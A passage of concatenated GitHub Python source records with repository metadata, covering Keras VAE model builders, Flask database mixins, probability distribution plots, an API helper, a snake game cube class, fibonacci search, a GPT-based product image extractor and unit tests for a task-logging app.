concatenate([emb_outputs] + not_to_emb)\n\n return Model(inputs=cond_inputs, outputs=emb_outputs, name=name)\n\n\ndef build_leap_block(latent_dims, context_dims, block_dims, name=\"leap_block\"):\n latent_inputs = Input(shape=(latent_dims,), name=\"latentcoord_inputs\")\n context_inputs = Input(shape=(context_dims,), name=\"context_inputs\")\n block_inputs = [latent_inputs, context_inputs]\n latent_coord = latent_inputs\n\n for i, tau_dims in enumerate(block_dims):\n latent_coord = Dense(units=tau_dims, activation=\"relu\", name=\"enc_context_{}\".format(i))(latent_coord)\n leap_center = Dense(units=context_dims, activation=\"linear\",\n name=\"context_latent\")(latent_coord)\n latent_coord = Multiply()([leap_center, context_inputs])\n for i, tau_dims in enumerate(reversed(block_dims)):\n latent_coord = Dense(units=tau_dims, activation=\"relu\", name=\"dec_context_{}\".format(i))(latent_coord)\n latent_coord = Dense(units=latent_dims, activation=\"linear\",\n name=\"latent_context\")(latent_coord)\n new_coord = Add()([latent_coord, latent_inputs])\n\n return Model(inputs=block_inputs, outputs=new_coord, name=name)\n\n\ndef build_encoder_model(self, model_params, name= \"\"):\n \"\"\"\n\n :param self: self of the CVAE Class\n :param model_params: ModelParams class, with instances gathering the parameters of each layer of the encoder\n :return: a TF Model\n \"\"\"\n\n x_inputs = Input(shape=(model_params.input_dims,), name=\"enc_inputs\")\n c_inputs = []\n ensemble=[[] for i in range(model_params.nb_latent_components)]\n\n cond_enc_inputs_dims=[]\n\n for i, c_dims in enumerate(model_params.cond_dims):\n c_inputs.append(Input(shape=(c_dims,), name=\"enc_cond_inputs_{}\".format(i)))\n\n inputs = [x_inputs] + c_inputs\n\n if model_params.context_dims is not None:\n context_inputs = Input(shape=(self.VAE_params.model_params.context_dims,), name=\"context_inputs\")\n inputs += [context_inputs]\n\n # Creation of the encoder block\n if len(c_inputs) >= 1 and 'encoder' in model_params.cond_insert:\n if model_params.with_embedding:\n cond_enc_inputs = self.cond_embedding(c_inputs)\n else:\n if len(c_inputs) >= 2:\n cond_enc_inputs = concatenate(c_inputs, name=\"concat_cond\")\n else:\n cond_enc_inputs = c_inputs\n cond_enc_inputs_dims.append(K.int_shape(cond_enc_inputs[0])[-1])\n enc_inputs = [x_inputs, cond_enc_inputs]\n else:\n enc_inputs = [x_inputs]\n\n for idx in tf.range(0, model_params.nb_encoder_ensemble, 1):\n encoder_block = AE_blocks(input_dims=model_params.input_dims, cond_dims=cond_enc_inputs_dims,\n type=model_params.encoder_type, NN_dims=model_params.encoder_dims,\n name=\"encoder_block_{}\".format(idx), activation=\"relu\")\n enc_x = encoder_block(enc_inputs)\n\n for i in tf.range(0, model_params.nb_latent_components, 1):\n ensemble[i].append(Dense(units=model_params.latent_dims, activation='linear',\n name=\"latent_dense_{}_{}\".format(idx,i+1))(enc_x))\n\n if model_params.nb_encoder_ensemble == 1:\n enc_outputs = [ens_list[0] for ens_list in ensemble]\n else:\n enc_outputs = [average(ens_list) for ens_list in ensemble]\n\n if model_params.context_dims is not None:\n leap_block = build_leap_block(model_params.latent_dims, model_params.context_dims,\n model_params.leapae_dims)\n enc_outputs[0] = leap_block([enc_outputs[0], context_inputs])\n\n return Model(inputs=inputs, outputs=enc_outputs, name=\"encoder\"+name)\n\n\ndef build_decoder_model(self, model_params):\n \"\"\"\n\n :param self: self of the CVAE Class\n :param model_params: ModelParams class, with instances gathering the parameters of each layer of the decoder\n :return: a TF Model\n \"\"\"\n\n encoded_inputs = Input(shape=(model_params.latent_dims,), name=\"encoded_inputs\")\n c_inputs = []\n ensemble = [[] for i in range(model_params.nb_decoder_outputs)]\n cond_dec_inputs_dims = []\n\n for i, c_dims in enumerate(model_params.cond_dims):\n c_inputs.append(Input(shape=(c_dims,), name=\"dec_cond_inputs_{}\".format(i)))\n\n inputs = [encoded_inputs] + c_inputs\n\n if len(c_inputs)>=1 and 'decoder' in model_params.cond_insert:\n if model_params.with_embedding:\n cond_dec_inputs = self.cond_embedding(c_inputs)\n else:\n if len(c_inputs) >=2:\n cond_dec_inputs = concatenate(c_inputs, name=\"concat_cond\")\n else:\n cond_dec_inputs = c_inputs\n cond_dec_inputs_dims.append(K.int_shape(cond_dec_inputs[0])[-1])\n dec_inputs = [encoded_inputs, cond_dec_inputs]\n else:\n dec_inputs = [encoded_inputs]\n\n for idx in tf.range(0, model_params.nb_decoder_ensemble, 1):\n decoder_block = AE_blocks(input_dims=model_params.latent_dims, cond_dims=cond_dec_inputs_dims,\n type=model_params.decoder_type, NN_dims=model_params.decoder_dims,\n name=\"decoder_block_{}\".format(idx), activation=\"relu\")\n\n dec_x = decoder_block(dec_inputs)\n\n for i in tf.range(0, model_params.nb_decoder_outputs, 1):\n ensemble[i].append(Dense(units=model_params.output_dims, activation='linear',\n name=\"dec_output_{}_{}\".format(idx,i+1))(dec_x))\n\n if model_params.nb_decoder_ensemble == 1:\n dec_outputs = [ens_list[0] for ens_list in ensemble]\n else:\n dec_outputs = [average(ens_list) for ens_list in ensemble]\n\n return Model(inputs=inputs, outputs=dec_outputs, name=\"decoder\")\n\n\ndef build_guidedencoder_model(self, model_params, x_encoder, list_condencoder):\n c_inputs = []\n cx_inputs = []\n for i, input_dim in enumerate(model_params.input_dims):\n if i == 0:\n x_inputs = [Input(shape=(input_dim,), name=f\"inputs_{i}\")]\n else:\n cx_inputs.append(Input(shape=(input_dim,), name=f\"inputs_{i}\"))\n\n for i, c_dims in enumerate(model_params.cond_dims):\n c_inputs.append(Input(shape=(c_dims,), name=\"enc_cond_inputs_{}\".format(i)))\n\n inputs = x_inputs + cx_inputs + c_inputs\n enc_inputs = x_inputs + c_inputs\n\n if model_params.context_dims is not None:\n context_inputs = Input(shape=(self.VAE_params.model_params.context_dims,), name=\"context_inputs\")\n inputs += [context_inputs]\n enc_inputs += [context_inputs]\n\n list_latent_cond = []\n\n x_encoded = x_encoder(enc_inputs)\n x_encoded[0] = Lambda(lambda z: z*0, name=\"neutralized_mu_encoded\")(x_encoded[0])\n\n for i, c_encoder in enumerate(list_condencoder):\n cond_nb = Lambda(lambda x: tf.one_hot(tf.constant(i,dtype='int32',shape=(1,)),\n len(list_condencoder)), name=f\"latent_dense_mu_c_class_{i}\")(cx_inputs[i])\n\n c_encoded = c_encoder(cx_inputs[i])\n c_latent_dim = Dense(units=model_params.latent_dims, activation='hard_sigmoid',\n name= \"latent_dense_mu_c_dim_{}\".format(i))(cond_nb)\n\n list_latent_cond.append(Multiply()([c_encoded, c_latent_dim]))\n\n x_encoded[0] = Add()([x_encoded[0]]+list_latent_cond)\n\n return Model(inputs=inputs, outputs=x_encoded, name=\"guided_encoder\")\n\n","repo_name":"GoubetClem/VAE","sub_path":"src/AE_blocks.py","file_name":"AE_blocks.py","file_ext":"py","file_size_in_byte":14799,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"67"} +{"seq_id":"28381228596","text":"import datetime\n\nfrom flask import jsonify\nfrom flask import abort\nfrom flask.ext.sqlalchemy import SQLAlchemy\n\n\ndb = SQLAlchemy()\n\n\nclass BasicMixin(object):\n\n id_ = db.Column(db.Integer, primary_key=True)\n create_time = db.Column(db.DateTime, default=datetime.datetime.utcnow) # First time the column is created.\n\n @classmethod\n def get_or_404(cls, id_=None, **kwargs):\n if id_ is not None:\n obj = cls.query.get(id_)\n else:\n objs = cls.query.filter_by(**kwargs)\n obj = objs and objs[0] or None\n if obj is None:\n abort(404)\n return obj\n\n def to_json(self, *columns):\n dct = self.to_dict(*columns)\n for key in dct:\n if isinstance(dct[key], datetime.datetime):\n dct[key] = dct[key].strftime('%Y-%m-%d %H:%M:%S')\n return jsonify(dct)\n\n def to_dict(self, *columns):\n dct = {}\n for col in columns:\n dct[col] = getattr(self, col)\n return dct\n\n def __unicode__(self):\n return \"<Model %s>%d: %s\" % (self.__class__.__name__, self.id_,\n getattr(self, 'name', None) or\n getattr(self, 'display_name', None) or\n getattr(self, 'title', ''))\n\n\nclass SessionMixin(object):\n def save(self):\n db.session.add(self)\n db.session.commit()\n return self\n\n def delete(self):\n db.session.delete(self)\n db.session.commit()\n return self\n\n","repo_name":"kxxoling/sigh","sub_path":"sigh/models/base.py","file_name":"base.py","file_ext":"py","file_size_in_byte":1555,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"67"} +{"seq_id":"43527055784","text":"# Show the graphs of various probability dirtributions\n# %%\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom scipy.stats import norm\n\n# dir(norm()) see the inside of norm\n# define constants\nmu, sigma = 0, 1 \ntypeIErr = 0.05\ncf = norm.ppf([typeIErr/2, 1-typeIErr/2])\nxlim = [-5, 5]\nx = np.arange(cf[0], cf[1], 0.001) # range of x in spec\nx_all = np.arange(xlim[0], xlim[1], 0.001) # entire range of x, both in and out of spec\ny = norm.pdf(x,0,1)\ny2 = norm.pdf(x_all,0,1)\n\n# build the plot\nfig, ax = plt.subplots(figsize=(9,6)) # (width=6.4,height=4.8)\nplt.style.use('fivethirtyeight')\nax.plot(x_all,y2)\n\nax.fill_between(x, y, 0, alpha=0.3, color='b')\nax.fill_between(x_all, y2, 0, alpha=0.1)\nax.set_xlim(xlim)\nax.set_xlabel('X')\nax.set_yticklabels([])\nax.set_title('Standard Normal Distribution', fontsize = 'small')\n# plt.savefig('normal_curve.png', dpi=72, bbox_inches='tight')\nplt.grid(True, linestyle='--', which='major')\nplt.show()\n\n#%% T distribution with animation as run in terminal\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom scipy.stats import norm, t\n\nxlim = [-5, 5]\nx = np.linspace(xlim[0], xlim[1], 1000)\ny = norm.pdf(x,0,1)\nplt.plot(x,y, color=\"red\", label ='N(0,1)')\n# df = 1\ndf = np.append(np.arange(0.1,1,0.1), np.arange(2,30,2))\nplt.axis([xlim[0], xlim[1],0,0.5])\nfor i in df:\n y=t.pdf(x, i)\n plt.plot(x,y, lw=1, color='blue')\n plt.pause(0.5)\n\nplt.title('T distribution')\nplt.legend() \nplt.show()\n\n# %%\n# chi2 distribution with animation as run in terminal\nfrom scipy.stats import chi2\nimport numpy as np\nimport matplotlib.pyplot as plt\n\nxlim = [0, 50]\nx = np.linspace(xlim[0], xlim[1], 1000)\n\n# df = 1\ndf = np.arange(4,20,2)\nplt.axis([xlim[0], xlim[1],0,0.2])\nfor i in df:\n y=chi2.pdf(x, i)\n plt.plot(x,y, lw=1, color='blue')\n # plt.pause(0.5)\n\nplt.title(r'$\\chi^2$ Distribution')\nplt.show()\n# %% Beta distribution\nfrom scipy.stats import beta\nimport numpy as np\nimport matplotlib.pyplot as plt\n\n# a, b = 8, 2\na = 9\nb = np.arange(1, a)\nx = np.linspace(0,1,100)\nfor i in b :\n y=beta.pdf(x, a, i)\n plt.plot(x,y, lw=1, color='blue')\n \nplt.title(r'$\\beta(a, b)$ distribution with a > b', fontsize = 'medium') \nplt.show()\n\nb = 9\na = np.arange(1, b)\nfor i in a :\n y=beta.pdf(x, i, b)\n plt.plot(x,y, lw=1, color=\"blue\")\n\nplt.title(r'$\\beta(a, b)$ distribution with a < b', fontsize = 'medium') \nplt.show()\n\na = np.arange(1, 9)\nfor i in a :\n y=beta.pdf(x, i, i)\n plt.plot(x,y, lw=1, color='blue')\n\nplt.title(r'$\\beta(a, b)$ distribution with a = b', fontsize = 'medium') \nplt.show()\n\n# %% Binomial distribution\nfrom scipy.stats import binom\nimport numpy as np\nimport matplotlib.pyplot as plt\n\nN, p = 20, 0.8\nx = np.arange(0, N+1)\ny = binom.pmf(x, N, p)\nfig, ax = plt.subplots(3, 1)\n# ax.plot(x, y, 'bo', ms=8) # ms: marker size\nax[0].vlines(x, 0, y, colors='b', lw=5, alpha=0.9)\n# ax[1].bar(x, y)\nax[1].stem(x, y)\nY = binom.cdf(x, N, p)\nax[2].plot(x, Y, drawstyle='steps-pre')\nplt.show()\n\n# %% Poisson distribution\nfrom scipy.stats import poisson\nimport numpy as np\nimport matplotlib.pyplot as plt\n\nlam = 10\nx = np.arange(0, poisson.ppf(0.99, lam)+1)\ny = poisson.pmf(x, lam)\nfig, ax = plt.subplots(2, 1)\n# ax.plot(x, y, 'bo', ms=8) # ms: marker size\nax[0].vlines(x, 0, y, colors='b', lw=5, alpha=0.9)\n# ax[1].bar(x, y)\n# ax[1].stem(x, y)\nY = poisson.cdf(x, lam)\nax[1].plot(x, Y, drawstyle='steps-pre')\nplt.show()\n\n# %%\n","repo_name":"ntpuccw/python_tutorial","sub_path":"lesson_distribution.py","file_name":"lesson_distribution.py","file_ext":"py","file_size_in_byte":3406,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"4788295772","text":"import urllib\nimport requests\n\nfrom .exceptions import DocTypeException, DocIDException\nfrom .settings import *\n\n\ndef validate_doc_type(doc_type):\n \"\"\"Make sure the provided doc_type is\n supported\n \"\"\"\n try:\n DOC_TYPES.index(doc_type)\n except ValueError:\n raise DocTypeException\n\n\ndef validate_doc_id(doc_id, doc_type):\n \"\"\"Some of the document endpoints take the unique document id\n as a number and not a string. For the ones that take a string,\n we have to add a single quotes to the doc_id\n \"\"\"\n if doc_type not in NUMBER_DOC_TYPE:\n try:\n doc_id = \"\\'\" + doc_id + \"\\'\"\n except TypeError:\n raise DocIDException\n\n return doc_id\n\n\ndef construct_url(doc_type, **kwargs):\n \"\"\"Build a URL to query the API\n \"\"\"\n # Construct a dict of just the ODATA query parameters\n query_params = {}\n\n for arg in kwargs:\n if arg in QUERY_PARAMS:\n query_params[arg] = kwargs[arg]\n\n # Count isn't a real query param, but better than inlinecount=allpages\n # We let user say count=True, then add inlinecount=allpages for them\n if 'count' in kwargs and kwargs['count'] is True:\n query_params['inlinecount'] = 'allpages'\n\n f_query_params = construct_params(query_params)\n\n url = API_SERVER + API_BASE + doc_type + f_query_params\n\n return url\n\n\ndef construct_params(query_params):\n \"\"\"\n :query_params: a dictionary with param_name:value\n \"\"\"\n params = '?'\n\n full_params = apply_default_params(query_params)\n\n # We need to put a '$' in front of every parameter name\n modified_params = {}\n\n for k, v in full_params.items():\n modified_params['$' + k] = v\n\n params += urllib.urlencode(modified_params, True)\n\n return params\n\n\ndef apply_default_params(query_params):\n \"\"\"Apply the default parameters to the query_params\n specified by the user\n \"\"\"\n for k, v in DEFAULT_PARAMS.items():\n if k not in query_params.keys():\n query_params[k] = v\n\n return query_params\n\n\ndef invoke_api(url):\n \"\"\"Make a call to the API with the provided URL\n and return the results\n \"\"\"\n r = requests.get(url)\n results = r.json()\n\n response = process_results(results)\n\n return response\n\n\ndef process_results(results):\n \"\"\"Construct the request response into a\n slightly more intuitive structure\n \"\"\"\n response = {}\n\n try:\n response['count'] = int(results['d']['__count'])\n except:\n response['count'] = None\n\n if 'error' in results.keys():\n response['error'] = results['error']\n response['results'] = None\n elif type(results['d']) is list:\n response['results'] = results['d']\n elif 'results' in results['d'].keys():\n response['results'] = results['d']['results']\n else:\n response['results'] = results['d']\n\n return response\n\n\ndef get_related(response):\n \"\"\"Make calls to the 'deferred'/related document\n types contained in the provided results object\n \"\"\"\n deferred_urls = get_deferred_urls(response['results'])\n\n for entity, url in deferred_urls.items():\n r = requests.get(url + '?$format=json')\n related = r.json()\n response['results'][entity] = related['d']\n\n return response\n\n\ndef get_deferred_urls(results):\n \"\"\"Returns a list of URLS for all\n the deferred entities for a particular entity\n\n :results: the result for a call to get_permit,\n get_case, etc\n \"\"\"\n urls = {}\n\n for doc in DOC_TYPES:\n if doc in results.keys():\n urls[doc] = results[doc]['__deferred']['uri']\n\n return urls\n","repo_name":"AxisPhilly/py-li","sub_path":"li/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":3627,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"67"} +{"seq_id":"6885008271","text":"def check(string):\n flag = True\n for i in range(0,len(string)):\n if string[i].isalpha() or string[i]==\" \":\n continue\n else:\n flag = False\n break \n return flag\n \nn = int(input())\nlis=[]\nvalid = 0 \ninvalid = 0\n\nfor i in range(n):\n lis.append(input())\n \nfor k in lis:\n if(check(k)):\n valid+=1\n else:\n invalid+=1\n \nprint(\"The valid string : {}\".format(valid))\nprint(\"The invalid string : {}\".format(invalid))\n\n'''\n5\nABCDefg hij\nabc123@\nproctored.c\nabcde fgh\navcdf345f\n'''","repo_name":"BakshishArora/TCS-IPA-Practice-Codes","sub_path":"TCS CPA/question_3.py","file_name":"question_3.py","file_ext":"py","file_size_in_byte":567,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"7252863154","text":"import pygame\n\n# IMPORTANT CONSTANTS\nwidth = 500\nrows = 20\n\nclass Cube:\n def __init__(self, position, dirx = 1, diry = 0, color=(255, 0, 0)):\n self.pos = position\n self.dirx = dirx\n self.diry = diry\n self.color = color\n\n\n def move(self, new_dirx, new_diry):\n self.dirx, self.diry = new_dirx, new_diry\n self.pos = (self.pos[0] + self.dirx, self.pos[1] + self.diry)\n\n\n def draw(self, surface, eyes=False):\n # DIS IS THE DISTANCE BETWEEN ROWS\n dis = width // rows # KEEP IN MIND THAT THE WINDOW IS A SQUARE, WIDTH x WIDTH = WIDTH x HEIGHT\n [i, j] = self.pos\n\n # DRAW IN THE WINDOW(surface)\n pygame.draw.rect(surface, self.color, (i*dis+1, j*dis+1, dis-2, dis-2)) # +1 or -2 is for an appropiate fit\n\n # DRAW EYES IF REQUIRED\n if eyes:\n center = dis // 2\n radius = 3\n circleMiddle = (i * dis + center - radius, j*dis+8)\n circleMiddle2 = (i * dis + dis - radius*2, j*dis+8)\n pygame.draw.circle(surface, (0,0,0), circleMiddle, radius)\n pygame.draw.circle(surface, (0,0,0), circleMiddle2, radius)\n","repo_name":"fernandocorrea256/python_games","sub_path":"snake/Cube.py","file_name":"Cube.py","file_ext":"py","file_size_in_byte":1156,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"37480664769","text":"from ast import List\nimport json\nimport re\n\nfrom pydantic import BaseModel, HttpUrl\nfrom content.src.ml_components.utils.openai_caller import OpenAICaller\nfrom bs4 import BeautifulSoup\nimport pandas as pd\nfrom image_extract.image import ImageUtils\n\nfrom image_extract.text import TextUtils\n\nclass ProductImage(BaseModel):\n class_names: str\n link: HttpUrl\n \nclass ChatGPTUtils():\n \n INSTRUCTION = \"\"\"filter this information to keep only product's images. \nignore logos and banners. \ndon't return images under related or similar products.\nreject cookie images.\nalso, the product's images often appear first in the list.\nprovide the product's image links as a valid JSON object with the following schema: {\"images\": [\"\", ...]}\nyou should provide at least one image but not more than 3 images.\n\"\"\"\n async def _call_gpt(self, prompt: str, temp=0.5, max_tokens=200):\n parameters = dict(\n max_tokens=max_tokens,\n temperature=temp,\n # frequency_penalty=1.125,\n n=1,\n )\n \n candidates = await OpenAICaller.chat_completion(\n model=\"gpt-3.5-turbo\",\n messages=[prompt],\n settings=parameters,\n )\n return candidates[0]\n\n async def extract_product_images(self, table: str) -> List(ProductImage):\n prompt = self.INSTRUCTION + table\n print(prompt)\n print(len(prompt))\n out: str = await self._call_gpt(prompt)\n print(out)\n return self._get_images_from_output(out)\n \n def _get_images_from_output(self, out:str) -> List(str):\n # Use prompt to find class name\n \n images = []\n try:\n images = json.loads(out)[\"images\"]\n except:\n URL_REGEX = 'http[s]?://(?:[a-zA-Z]|[0-9]|[$-_@.&+]|[!*\\(\\),]|(?:%[0-9a-fA-F][0-9a-fA-F]))+'\n images = re.findall(URL_REGEX, out)\n return images\n \n def prepare_prompt(self, inp: str) -> str:\n \"\"\"Prepare shorter and compressed prompt for chatgpt\"\"\"\n texts = inp.split(\"\\n\")\n cleaned_texts = [texts[0]]\n \n for i in range(1, len(texts)):\n # reject small images\n cls_names, link = texts[i].split(\"\\t\")\n if link.startswith(\"http\") and ImageUtils().is_small(link):\n continue\n if TextUtils().is_similar(texts[i], texts[i-1]):\n continue\n else:\n cleaned_texts.append(texts[i])\n out = \"\\n\".join(cleaned_texts)\n return out\n ","repo_name":"aphuongle95/SmartImageExtractionEcommerce","sub_path":"image_extract/prompt.py","file_name":"prompt.py","file_ext":"py","file_size_in_byte":2547,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"23825557723","text":"\"\"\"\n-author - am.vijay@gmail.com / Vijayaraaghavan Manoharan\n\"\"\"\n\ndef fibonacciSearch(searchElement, sortedList):\n \n #fibonacci initial value\n fibonacciM2 = 0\n fibonacciM1 = 1\n fibonacciM = fibonacciM1 + fibonacciM2\n\n size = len(sortedList)\n \n # Find the first fibonacci value which is greater than size of the list.\n while (fibonacciM < size):\n fibonacciM2 = fibonacciM1\n fibonacciM1 = fibonacciM\n fibonacciM = fibonacciM1 + fibonacciM2\n \n print(\"Max fibonacci value \", fibonacciM)\n # Now going to reduce the max fibonacci value\n offset = -1\n while fibonacciM > 0:\n print(\"fibonnaci value : \",fibonacciM2,fibonacciM1, fibonacciM)\n index = min(offset+fibonacciM2,size-1)\n print(\"index value is \", index)\n if(index < size):\n # if search element is greater than the value at index derived then, \n # shift the max fibonicci value left 1 value in its series.\n if(sortedList[index] < searchElement):\n fibonacciM = fibonacciM1\n fibonacciM1 = fibonacciM2\n fibonacciM2 = fibonacciM - fibonacciM1\n offset = index\n # if search element is less than the value at index derived then,\n # shift the fibonicci value left 2 value in its series.\n elif(sortedList[index] > searchElement):\n fibonacciM = fibonacciM2\n fibonacciM1 = fibonacciM1 - fibonacciM2\n fibonacciM2 = fibonacciM - fibonacciM1\n # if search element is equal to the search element then return the index.\n elif(sortedList[index] == searchElement):\n return index\n\n return -1 \n\n# Test Case\n# datacollection = [1,2,3,4,5,6,7,8,9,10]\n\n# matchedElementIndex = fibonacciSearch(3, datacollection)\n# print(\"Element :: \" + str(3) + \" is at index :: \" + str(matchedElementIndex))\n\n# matchedElementIndex = fibonacciSearch(8, datacollection)\n# print(\"Element :: \" + str(8) + \" is at index :: \" + str(matchedElementIndex))\n\n# matchedElementIndex = fibonacciSearch(6, datacollection)\n# print(\"Element :: \" + str(6) + \" is at index :: \" + str(matchedElementIndex))\n\n# matchedElementIndex = fibonacciSearch(11, datacollection)\n# print(\"Element :: \" + str(11) + \" is at index :: \" + str(matchedElementIndex))\n\n\ndatacollection = [23,28,31,34,51,56,57,81,89,110]\n\nmatchedElementIndex = fibonacciSearch(81, datacollection)\nprint(\"Element :: \" + str(81) + \" is at index :: \" + str(matchedElementIndex))\n","repo_name":"AMVijay/datastructure","sub_path":"algorithms/search/fibonacci-search/fibonacciSearch.py","file_name":"fibonacciSearch.py","file_ext":"py","file_size_in_byte":2535,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"5560078288","text":"import numpy as np\nimport tensorflow.keras as k\nfrom data import Film, Frame, analyseAndSaveTimeRange, DataGenerator, frameHeight, frameWidth, frameLength\nfrom config import rawDataDir, processedDataDir, tfDataDir, trainingStart, trainingEnd, validationStart, validationEnd\n\n\n\n\n\ninput_tensor = k.Input(shape=(timeSteps, frameHeight, frameWidth, channels))\n\npool1 = k.layers.MaxPooling3D(pool_size=(1, 100, 100), data_format=\"channels_last\")(input_tensor)\nresh1 = k.layers.Reshape((60, 1))(pool1)\nlstm1 = k.layers.LSTM((30))(resh1)\n\nconv2 = k.layers.Conv3D(100, (9, 9, 9), activation=\"relu\")(input_tensor)\npool2 = k.layers.MaxPooling3D(pool_size=(1, 92, 92), data_format=\"channels_last\")(conv2)\nresh2 = k.layers.Reshape((52, 100))(pool2)\nlstm2 = k.layers.LSTM((30))(resh2)\n\nconv3a = k.layers.Conv3D(100, (9, 9, 9), activation=\"relu\")(input_tensor)\nconv3b = k.layers.Conv3D(100, (9, 9, 9), activation=\"relu\")(conv3a)\npool3 = k.layers.MaxPooling3D(pool_size=(1, 84, 84), data_format=\"channels_last\")(conv3b)\nresh3 = k.layers.Reshape((44, 100))(pool3)\nlstm3 = k.layers.LSTM((30))(resh3)\n\nmerged = k.layers.concatenate([lstm1, lstm2, lstm3], axis=-1)\ndenseA = k.layers.Dense(30, name=\"dense1\", activation=k.activations.sigmoid)(merged)\ndenseB = k.layers.Dense(4, name=\"dense2\", activation=k.activations.softmax)(denseA)\n\nmodel = k.models.Model(input_tensor, denseB)\n\n\nmodel.compile(\n optimizer=k.optimizers.Adam(),\n loss=k.losses.categorical_crossentropy,\n metrics=[k.metrics.categorical_accuracy]\n)\n\nmodel.summary()","repo_name":"MichaelLangbein/rasp","sub_path":"models/convLstmIncept.py","file_name":"convLstmIncept.py","file_ext":"py","file_size_in_byte":1520,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"70340800214","text":"import unittest\nfrom unittest.mock import patch\nfrom unittest import mock\n\nimport datetime\n\nimport menu\nimport user_input\nfrom file_edit import Task\nimport file_edit\nimport search_record\nimport edit\nimport checkers\n\n\nclass DBCreate(unittest.TestCase):\n \"\"\"Class to create and assert database test row created\"\"\"\n\n def test_add_row(self):\n\n file_edit.add_row('TEST',\n datetime.datetime.strptime('12/12/2012', '%m/%d/%Y'),\n 'UNITTEST',\n 999,\n 'NONE')\n\n query = Task.select().where(Task.first_name == 'TEST')\n\n assert len(list(query)) >= 1\n\n\nclass CheckerTests(unittest.TestCase):\n \"\"\"Class to test functions in checkers.py\"\"\"\n\n @patch('checkers.option_printer', return_value=1)\n def test_option_printer_valid_input(self, option_printer):\n sample_dict = {\n 1: 'value',\n 2: 'two'\n }\n ret_val = option_printer(sample_dict)\n self.assertEqual(ret_val, 1)\n self.assertIn(ret_val, sample_dict)\n\n def test_option_printer_patch_input_invalid(self):\n sample_dict = {\n 1: 'value',\n 2: 'two'\n }\n with patch('builtins.input', return_value='2s'):\n self.assertRaises(ValueError, checkers.option_printer, sample_dict)\n\n def test_option_printer_patch_input_valid(self):\n sample_dict = {\n 1: 'value',\n 2: 'two'\n }\n with patch('builtins.input', return_value='2'):\n self.assertEqual(checkers.option_printer(sample_dict), 2)\n\n def test_return_date_parsed(self):\n fake_date = '12/12/2012'\n self.assertEqual(checkers.return_date_parsed(fake_date),\n datetime.datetime.strptime(fake_date, '%m/%d/%Y'))\n\n def test_return_date_string(self):\n fake_date = datetime.datetime.strptime('12/12/2012', '%m/%d/%Y')\n self.assertEqual(checkers.return_date_string(fake_date),\n datetime.datetime.strftime(fake_date, '%m/%d/%Y'))\n\n def test_return_int(self):\n self.assertEqual(checkers.return_int(str(5)), 5)\n\n @patch('checkers.pagination_logic')\n def test_pagination_logic(self, pagination_logic):\n test_list = {'key': 'value'}\n pagination_logic.return_value = test_list\n assert checkers.pagination_logic(test_list) == test_list\n\n\nclass UserInputTests(unittest.TestCase):\n \"\"\"Class to test functions in user_input.py\"\"\"\n\n @patch('user_input.ask_first', return_value='Robert')\n def test_ask_first(self, input):\n self.assertEqual(user_input.ask_first(), 'Robert')\n\n @patch('user_input.ask_name', return_value='TaskName')\n def test_ask_name(self, input):\n self.assertEqual(user_input.ask_name(), 'TaskName')\n\n @patch('user_input.ask_date', return_value='12/12/2012')\n def test_ask_date(self, input):\n self.assertEqual(user_input.ask_date(), '12/12/2012')\n\n @patch('user_input.ask_time', return_value=500)\n def test_ask_time(self, input):\n self.assertEqual(user_input.ask_time(), 500)\n\n @patch('user_input.ask_note', return_value='TaskNote')\n def test_ask_note(self, input):\n self.assertEqual(user_input.ask_note(), 'TaskNote')\n\n\nclass MenuTests(unittest.TestCase):\n \"\"\"Class to test function menu.py\"\"\"\n\n @patch('menu.main_choice', return_value=1)\n def test_main_choice(self, input):\n self.assertEqual(menu.main_choice(), 1)\n\n @patch('menu.sub_menu', return_value=1)\n def test_sub_menu(self, input):\n self.assertEqual(menu.sub_menu(), 1)\n\n def test_option_two(self):\n query = Task.select().where(Task.first_name == 'Test')\n\n with patch('builtins.input', return_value='12/12/2012'):\n self.assertEqual(menu.option_two(1), query)\n\n with patch('builtins.input', return_value='999'):\n self.assertEqual(menu.option_two(2), query)\n\n with patch('builtins.input', return_value='UNITTEST'):\n self.assertEqual(menu.option_two(3), query)\n\n\nclass TestSearchRecord(unittest.TestCase):\n \"\"\"Class to test function for searching entries in\n search_record.py\n \"\"\"\n\n @mock.patch('search_record.query_to_dict')\n def test_query_to_dict(self, query_to_dict):\n query = Task.select().where(Task.time_spent == 500)\n result = search_record.query_to_dict(query)\n query_to_dict.return_value = query\n assert search_record.query_to_dict(query) == result\n\n def test_emp_query(self):\n query = Task.select().where(Task.first_name == 'Sara')\n with mock.patch('builtins.input', return_value='1'):\n assert len(list(search_record.emp_query(query))) == 1\n\n def test_search_string(self):\n query = Task.select().where(Task.first_name == 'Sara')\n with mock.patch('builtins.input', return_value='Sara'):\n assert search_record.search_string() == query\n\n def test_search_time(self):\n with mock.patch('builtins.input', return_value='555'):\n assert len(list(search_record.search_time())) == 1\n\n @patch('search_record.date_checker', return_value='12/12/2012')\n def test_date_checker(self, input):\n self.assertEqual(search_record.date_checker(), '12/12/2012')\n\n\nclass TestEdit(unittest.TestCase):\n \"\"\"Class to test functions to edit a database entry\"\"\"\n\n @mock.patch('edit.search_valid_name')\n def test_search_valid_name(self, search_valid_name):\n search_valid_name.return_value = 'Sara'\n assert edit.search_valid_name('Sara') == 'Sara'\n\n def test_matching_id(self):\n query = Task.select().where(Task.first_name == 'Sara')\n with mock.patch('builtins.input', query):\n assert len(list(edit.matching_id(query))) == 1\n\n def test_select_id(self):\n with mock.patch('builtins.input', return_value='1'):\n assert edit.select_id([1]) == 1\n\n def test_choice(self):\n with patch('builtins.input', return_value='1'):\n self.assertEqual(edit.choice(), 1)\n\n def test_select_task_header(self):\n with 